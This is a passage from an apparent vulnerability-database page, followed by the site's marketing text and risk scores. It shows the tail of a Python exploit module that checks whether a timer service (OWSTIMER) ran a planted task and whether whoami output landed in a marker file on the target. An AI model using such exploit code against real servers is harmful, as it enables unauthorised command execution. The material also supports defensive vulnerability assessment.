                pulled = self._poll_task_pulled(
                    digest,
                    store_id,
                    group_id,
                    db_name,
                    task_id,
                    poll_count=poll_count,
                    interval=poll_interval,
                )
                if pulled:
                    print_success("OWSTIMER pulled the task")
                else:
                    print_warning(
                        "Did not confirm PulledTime (payload may still have run; "
                        "verify side effect or listener)"
                    )

            if self.marker_file:
                print_info(f"Marker file on target: {self.marker_file}")
                print_info(
                    "Retrieve via SMB/HTTP/share to confirm whoami output."
                )

            if batch_ran:
                self.vulnerable()
                return True

            self.not_vulnerable()
            return False
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
EPSS0.02547
SSVC
2